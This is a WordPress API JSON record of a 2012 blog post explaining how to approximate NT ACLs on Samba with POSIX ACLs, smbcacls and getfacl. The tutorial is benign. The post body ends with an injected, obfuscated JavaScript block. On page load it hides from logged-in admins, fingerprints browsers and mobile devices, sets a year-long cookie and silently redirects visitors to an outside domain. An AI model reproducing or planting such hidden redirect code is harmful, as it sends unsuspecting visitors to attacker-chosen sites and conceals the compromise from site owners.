{"id":389,"date":"2012-04-15T23:36:13","date_gmt":"2012-04-15T15:36:13","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=389"},"modified":"2012-04-15T23:36:13","modified_gmt":"2012-04-15T15:36:13","slug":"file-sharing-supporting-nt-acl-as-most-possible","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/04\/15\/file-sharing-supporting-nt-acl-as-most-possible\/","title":{"rendered":"File sharing supporting NT ACL as most possible"},"content":{"rendered":"<p>The file access control in NT is much more complex than UNIX.  In general, UNIX only support the ACL in read\/write\/execute for User\/Group\/Other of a file or directory.  While NT could be far more complex than that, e.g. granting read permission for group1 and all access for group2.<br \/>\n<!--more--><br \/>\nSince Samba is running on Linux, there is no way for Samba to support this kind of ACL unless the underlying OS could support it.<\/p>\n<p>Nowadays, you could use POSIX ACL in UNIX to meet the requirement and make it as close as the ACL support in NT.<\/p>\n<h1>Supporting NT ACL<\/h1>\n<ul>\n<li>mount the filesystem with <strong>acl<\/strong> &#038; <strong>user_xattr<\/strong>\n<li>Export a share in Samba in the mount point, e.g.,\n<pre>\r\n[grp1Share]\r\ncomment = Group 1\r\npath = \/mnt\/sambaShare\/grp1Share\r\nread only = no\r\nguest ok = yes\r\nbrowseable = yes\r\nadmin users=samba1,administrator,root\r\nvalid users=@\"Domain Users\",administrator,root\r\n<\/pre>\n<\/li>\n<li>The <strong>admin users<\/strong> could set the ACL of the share by using File Explorer in Windows machine<\/li>\n<li>Or, you could use <strong>smbcacls<\/strong> to set the persmission<\/li>\n<li>you could use <strong>getfacl<\/strong> to list out the actual permission mapped from NT to Linux<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The file access control in NT is much more complex than UNIX. In general, UNIX only support the ACL in read\/write\/execute for User\/Group\/Other of a file or directory. While NT could be far more complex than that, e.g. granting read permission for group1 and all access for group2.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[52,27,8],"tags":[53],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/389"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=389"}],"version-history":[{"count":2,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/389\/revisions"}],"predecessor-version":[{"id":404,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/389\/revisions\/404"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}